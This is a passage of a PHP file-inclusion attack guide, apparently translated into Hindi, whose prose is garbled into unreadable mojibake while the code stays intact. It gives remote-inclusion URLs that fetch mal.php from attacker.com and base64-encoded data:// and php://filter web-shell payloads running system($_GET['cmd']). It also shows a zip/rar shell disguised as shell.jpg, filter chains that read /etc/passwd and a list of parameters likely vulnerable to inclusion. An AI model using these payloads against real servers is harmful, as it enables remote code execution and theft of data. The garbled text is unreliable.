php рдореЗрдВ рдпрд╣ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдмрдВрдж рд╣реИ рдХреНрдпреЛрдВрдХрд┐ allow_url_include Off рд╣реИред рдЗрд╕реЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП On рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ рдЙрд╕ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдЖрдк рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ PHP рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ RCE рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

рдпрджрд┐ рдХрд┐рд╕реА рдХрд╛рд░рдгрд╡рд╢ allow_url_include On рд╣реИ, рд▓реЗрдХрд┐рди PHP рдмрд╛рд╣рд░реА рд╡реЗрдмрдкреГрд╖реНрдареЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ filtering рдХрд░ рд░рд╣рд╛ рд╣реИ, рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдЖрдк рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдбреЗрдЯрд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ base64 рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ b64 PHP рдХреЛрдб рдХреЛ рдбрд┐рдХреЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдФрд░ RCE рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

рдкрд┐рдЫрд▓реЗ рдХреЛрдб рдореЗрдВ, рдЕрдВрддрд┐рдо +.txt рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рдерд╛ рдХреНрдпреЛрдВрдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ рдРрд╕рд╛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЪрд╛рд╣рд┐рдП рдерд╛ рдЬреЛ .txt рдкрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реЛ, рдЗрд╕рд▓рд┐рдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЗрд╕рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрддреА рд╣реИ рдФрд░ b64 рдбрд┐рдХреЛрдб рдХреЗ рдмрд╛рдж рд╡рд╣ рднрд╛рдЧ рдХреЗрд╡рд▓ рдмрдХрд╡рд╛рд╕ рд▓реМрдЯрд╛рдПрдЧрд╛ рдФрд░ рдЕрд╕рд▓реА PHP рдХреЛрдб рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ (рдФрд░ рдЗрд╕рд▓рд┐рдП, рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛)ред

рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг php:// рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реЛрдЧрд╛:

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Python Root element

рдкрд╛рдпрдерди рдореЗрдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдХреЛрдб рдореЗрдВ:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ file_name рдХреЗ рд▓рд┐рдП рдкреВрд░реНрдг рдкрде рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рддреЛ рдкрд┐рдЫрд▓рд╛ рдкрде рдмрд╕ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

рдпрд╣ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЗрдЪреНрдЫрд┐рдд рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реИ:

рдпрджрд┐ рдПрдХ рдШрдЯрдХ рдПрдХ рдкреВрд░реНрдг рдкрде рд╣реИ, рддреЛ рд╕рднреА рдкрд┐рдЫрд▓реЗ рдШрдЯрдХ рд╣рдЯрд╛ рджрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВ рдФрд░ рдЬреЛрдбрд╝рдирд╛ рдкреВрд░реНрдг рдкрде рдШрдЯрдХ рд╕реЗ рдЬрд╛рд░реА рд░рд╣рддрд╛ рд╣реИред

рдЬрд╛рд╡рд╛ рд╕реВрдЪреА рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдПрдБ

рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдЬрд╛рд╡рд╛ рдореЗрдВ рдПрдХ рдкрде рдпрд╛рддреНрд░рд╛ рд╣реИ рдФрд░ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдХреЗ рдмрдЬрд╛рдп рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЗ рд▓рд┐рдП рдкреВрдЫрддреЗ рд╣реИрдВ, рддреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреА рдПрдХ рд╕реВрдЪреА рд▓реМрдЯрд╛рдИ рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЕрдиреНрдп рднрд╛рд╖рд╛рдУрдВ рдореЗрдВ рдирд╣реАрдВ рд╣реЛрдЧрд╛ (рдореЗрд░реА рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдЕрдиреБрд╕рд╛рд░)ред

рд╢реАрд░реНрд╖ 25 рдкреИрд░рд╛рдореАрдЯрд░

рдпрд╣рд╛рдБ рд╢реАрд░реНрд╖ 25 рдкреИрд░рд╛рдореАрдЯрд░реЛрдВ рдХреА рд╕реВрдЪреА рд╣реИ рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рд╕рдорд╛рд╡реЗрд╢рди (LFI) рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ (рд╕реЗ рд▓рд┐рдВрдХ):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

PHP рдлрд╝рд┐рд▓реНрдЯрд░ рдбреЗрдЯрд╛ рдкрд░ рд╕рдВрд╢реЛрдзрди рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЗрд╕реЗ рдкрдврд╝рд╛ рдпрд╛ рд▓рд┐рдЦрд╛ рдЬрд╛рдПред рдлрд╝рд┐рд▓реНрдЯрд░ рдХреА 5 рд╢реНрд░реЗрдгрд┐рдпрд╛рдБ рд╣реИрдВ:

  • string.rot13

  • string.toupper

  • string.tolower

  • string.strip_tags: рдбреЗрдЯрд╛ рд╕реЗ рдЯреИрдЧ рд╣рдЯрд╛рдПрдБ (рд╕рдм рдХреБрдЫ "<" рдФрд░ ">" рдЕрдХреНрд╖рд░реЛрдВ рдХреЗ рдмреАрдЪ)

  • рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдлрд╝рд┐рд▓реНрдЯрд░ рдЖрдзреБрдирд┐рдХ PHP рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рд╕реЗ рдЧрд╛рдпрдм рд╣реЛ рдЧрдпрд╛ рд╣реИ

  • convert.base64-encode

  • convert.base64-decode

  • convert.quoted-printable-encode

  • convert.quoted-printable-decode

  • convert.iconv.* : рдПрдХ рдЕрд▓рдЧ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ(convert.iconv.<input_enc>.<output_enc>)ред рд╕рднреА рд╕рдорд░реНрдерд┐рдд рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреА рд╕реВрдЪреА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдВрд╕реЛрд▓ рдореЗрдВ рдЪрд▓рд╛рдПрдБ: iconv -l

convert.iconv.* рд░реВрдкрд╛рдВрддрд░рдг рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдордирдорд╛рдирд╛ рдкрд╛рда рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдордирдорд╛рдирд╛ рдкрд╛рда рд▓рд┐рдЦрдиреЗ рдпрд╛ рдХрд┐рд╕реА рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдордирдорд╛рдирд╛ рдкрд╛рда рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ LFI2RCE via php filtersред

  • zlib.deflate: рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрдХреБрдЪрд┐рдд рдХрд░реЗрдВ (рдпрджрд┐ рдмрд╣реБрдд рд╕рд╛рд░реА рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рд╣реЛ рддреЛ рдЙрдкрдпреЛрдЧреА)

  • zlib.inflate: рдбреЗрдЯрд╛ рдХреЛ рдЕрдирд╕рдВрдХреБрдЪрд┐рдд рдХрд░реЗрдВ

  • mcrypt.* : рдЕрдкреНрд░рдЪрд▓рд┐рдд

  • mdecrypt.* : рдЕрдкреНрд░рдЪрд▓рд┐рдд

  • рдЕрдиреНрдп рдлрд╝рд┐рд▓реНрдЯрд░

  • php рдореЗрдВ рдЪрд▓рд╛рдХрд░ var_dump(stream_get_filters()); рдЖрдк рдХреБрдЫ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдлрд╝рд┐рд▓реНрдЯрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  • consumed

  • dechunk: HTTP рдЪрдВрдХреНрдб рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рдХреЛ рдЙрд▓рдЯрддрд╛ рд╣реИ

  • convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,┬гhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

рднрд╛рдЧ "php://filter" рдХреЗрд╕ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдирд╣реАрдВ рд╣реИ

рдордирдорд╛рдиреЗ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП php рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛

рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдПрдХ рддрдХрдиреАрдХ рдХрд╛ рдкреНрд░рд╕реНрддрд╛рд╡ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЬрд┐рд╕рд╕реЗ рдмрд┐рдирд╛ рд╕рд░реНрд╡рд░ рд╕реЗ рдЖрдЙрдЯрдкреБрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдП рдПрдХ рд╕реНрдерд╛рдиреАрдп рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реА рдЬрд╛ рд╕рдХреЗред рдпрд╣ рддрдХрдиреАрдХ php рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдмреВрд▓рд┐рдпрди рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрд╢рди (рдЪрд░ рджреНрд╡рд╛рд░рд╛ рдЪрд░) рдкрд░ рдЖрдзрд╛рд░рд┐рдд рд╣реИред рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐ php рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдПрдХ рдЯреЗрдХреНрд╕реНрдЯ рдХреЛ рдЗрддрдирд╛ рдмрдбрд╝рд╛ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ php рдПрдХ рдЕрдкрд╡рд╛рдж рдлреЗрдВрдХ рджреЗред

рдореВрд▓ рдкреЛрд╕реНрдЯ рдореЗрдВ рддрдХрдиреАрдХ рдХрд╛ рд╡рд┐рд╕реНрддреГрдд рд╡рд┐рд╡рд░рдг рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣рд╛рдБ рдПрдХ рддреНрд╡рд░рд┐рдд рд╕рд╛рд░рд╛рдВрд╢ рд╣реИ:

  • рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рдЕрдЧреНрд░рдгреА рд╡рд░реНрдг рдХреЛ рдЫреЛрдбрд╝рдиреЗ рдФрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЖрдХрд╛рд░ рдХреЛ рддреЗрдЬреА рд╕реЗ рдмрдврд╝рд╛рдиреЗ рдХреЗ рд▓рд┐рдП UCS-4LE рдХреЛрдбреЗрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

  • рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬрдм рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдХреНрд╖рд░ рд╕рд╣реА рддрд░реАрдХреЗ рд╕реЗ рдЕрдиреБрдорд╛рдирд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рддреЛ рдПрдХ рдЗрддрдирд╛ рдмрдбрд╝рд╛ рдЯреЗрдХреНрд╕реНрдЯ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ php рдПрдХ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред

  • dechunk рдлрд╝рд┐рд▓реНрдЯрд░ рдкрд╣рд▓реЗ рд╡рд░реНрдг рдХреЛ рд╣рдЯрд╛рдПрдЧрд╛ рдпрджрд┐ рдпрд╣ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЬрд╛рди рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдкрд╣рд▓рд╛ рд╡рд░реНрдг рд╣реЗрдХреНрд╕ рд╣реИ рдпрд╛ рдирд╣реАрдВред

  • рдпрд╣, рдкрд┐рдЫрд▓реЗ рд╡рд╛рд▓реЗ рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ (рдФрд░ рдЕрдиреБрдорд╛рдирд┐рдд рдЕрдХреНрд╖рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреНрдп рдлрд╝рд┐рд▓реНрдЯрд░), рд╣рдореЗрдВ рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ рдПрдХ рдЕрдХреНрд╖рд░ рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ рдЬрдм рд╣рдо рдкрд░реНрдпрд╛рдкреНрдд рдкрд░рд┐рд╡рд░реНрддрди рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╡рд░реНрдг рди рд╣реЛред рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рд╣реЗрдХреНрд╕ рд╣реИ, рддреЛ dechunk рдЗрд╕реЗ рдирд╣реАрдВ рд╣рдЯрд╛рдПрдЧрд╛ рдФрд░ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдмрдо php рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред

  • рдХреЛрдбреЗрдХ convert.iconv.UNICODE.CP930 рд╣рд░ рдЕрдХреНрд╖рд░ рдХреЛ рдЕрдЧрд▓реЗ рдореЗрдВ рдмрджрд▓рддрд╛ рд╣реИ (рддреЛ рдЗрд╕ рдХреЛрдбреЗрдХ рдХреЗ рдмрд╛рдж: a -> b)ред рдЗрд╕рд╕реЗ рд╣рдореЗрдВ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдкрд╣рд▓рд╛ рдЕрдХреНрд╖рд░ a рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдпрджрд┐ рд╣рдо рдЗрд╕ рдХреЛрдбреЗрдХ рдХреЗ 6 рдмрд╛рд░ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╣реИрдВ a->b->c->d->e->f->g рддреЛ рдЕрдХреНрд╖рд░ рдЕрдм рд╣реЗрдХреНрд╕рд╛рдбреЗрд╕рд┐рдорд▓ рд╡рд░реНрдг рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП dechunk рдиреЗ рдЗрд╕реЗ рдирд╣реАрдВ рд╣рдЯрд╛рдпрд╛ рдФрд░ php рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рд╣реЛрддреА рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдмрдо рдХреЗ рд╕рд╛рде рдЧреБрдгрд╛ рдХрд░рддрд╛ рд╣реИред

  • рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ rot13 рдЬреИрд╕реЗ рдЕрдиреНрдп рдкрд░рд┐рд╡рд░реНрддрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рд╡рд░реНрдгреЛрдВ рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ рдЬреИрд╕реЗ n, o, p, q, r (рдФрд░ рдЕрдиреНрдп рдХреЛрдбреЗрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдиреНрдп рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рд╣реЗрдХреНрд╕ рд░реЗрдВрдЬ рдореЗрдВ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ)ред

  • рдЬрдм рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд╡рд░реНрдг рдПрдХ рд╕рдВрдЦреНрдпрд╛ рд╣реЛрддреА рд╣реИ, рддреЛ рдЗрд╕реЗ base64 рдПрдиреНрдХреЛрдб рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдФрд░ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрд╣рд▓реЗ 2 рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рд▓реАрдХ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред

  • рдЕрдВрддрд┐рдо рд╕рдорд╕реНрдпрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдХреИрд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдХреНрд╖рд░ рд╕реЗ рдЕрдзрд┐рдХ рд▓реАрдХ рдХрд┐рдпрд╛ рдЬрд╛рдПред рдХреНрд░рдо рдореЗрдореЛрд░реА рдлрд╝рд┐рд▓реНрдЯрд░ рдЬреИрд╕реЗ convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡рд░реНрдгреЛрдВ рдХреЗ рдХреНрд░рдо рдХреЛ рдмрджрд▓рдирд╛ рдФрд░ рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдЕрдиреНрдп рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рдкрд╣рд▓реЗ рд╕реНрдерд╛рди рдкрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИред

  • рдФрд░ рдЕрдзрд┐рдХ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рдЪрд╛рд░ рдпрд╣ рд╣реИ рдХрд┐ рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ 2 рдмрд╛рдЗрдЯреНрд╕ рдХрд╛ рдЬрдВрдХ рдбреЗрдЯрд╛ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдВ convert.iconv.UTF16.UTF16 рдХреЗ рд╕рд╛рде, рдЗрд╕реЗ UCS-4LE рд▓рд╛рдЧреВ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдпрд╣ рдЕрдЧрд▓реЗ 2 рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рд╕рд╛рде рдкрд┐рд╡рдЯ рд╣реЛ, рдФрд░ рдЬрдВрдХ рдбреЗрдЯрд╛ рддрдХ рдбреЗрдЯрд╛ рдХреЛ рд╣рдЯрд╛рдПрдВ (рдпрд╣ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЯреЗрдХреНрд╕реНрдЯ рдХреЗ рдкрд╣рд▓реЗ 2 рдмрд╛рдЗрдЯреНрд╕ рдХреЛ рд╣рдЯрд╛ рджреЗрдЧрд╛)ред рдЬрдм рддрдХ рдЖрдк рд▓реАрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрдЪреНрдЫрд┐рдд рдмрд┐рдЯ рддрдХ рдирд╣реАрдВ рдкрд╣реБрдБрдЪрддреЗ рддрдм рддрдХ рдРрд╕рд╛ рдХрд░рддреЗ рд░рд╣реЗрдВред

рдкреЛрд╕реНрдЯ рдореЗрдВ рдЗрд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдХрд░рдг рднреА рд▓реАрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛: php_filters_chain_oracle_exploitред

php://fd

рдпрд╣ рд░реИрдкрд░ рдЙрди рдлрд╝рд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░реНрд╕ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдиреЗ рдЦреЛрд▓реЗ рд╣реИрдВред рдЦреЛрд▓реЗ рдЧрдП рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

рдЖрдк php://stdin, php://stdout рдФрд░ php://stderr рдХрд╛ рдЙрдкрдпреЛрдЧ рдлрд╛рдЗрд▓ рдбрд┐рд╕реНрдХреНрд░рд┐рдкреНрдЯрд░реНрд╕ 0, 1 рдФрд░ 2 рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рдирд╣реАрдВ рдкрддрд╛ рдХрд┐ рдпрд╣ рд╣рдорд▓реЗ рдореЗрдВ рдХреИрд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)

zip:// рдФрд░ rar://

рдПрдХ PHPShell рдХреЗ рд╕рд╛рде рдПрдХ Zip рдпрд╛ Rar рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВред rar рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рд╕рдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

рдбреЗрдЯрд╛://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ php рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди allow_url_open рдФрд░ allow_url_include рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реИред

expect://

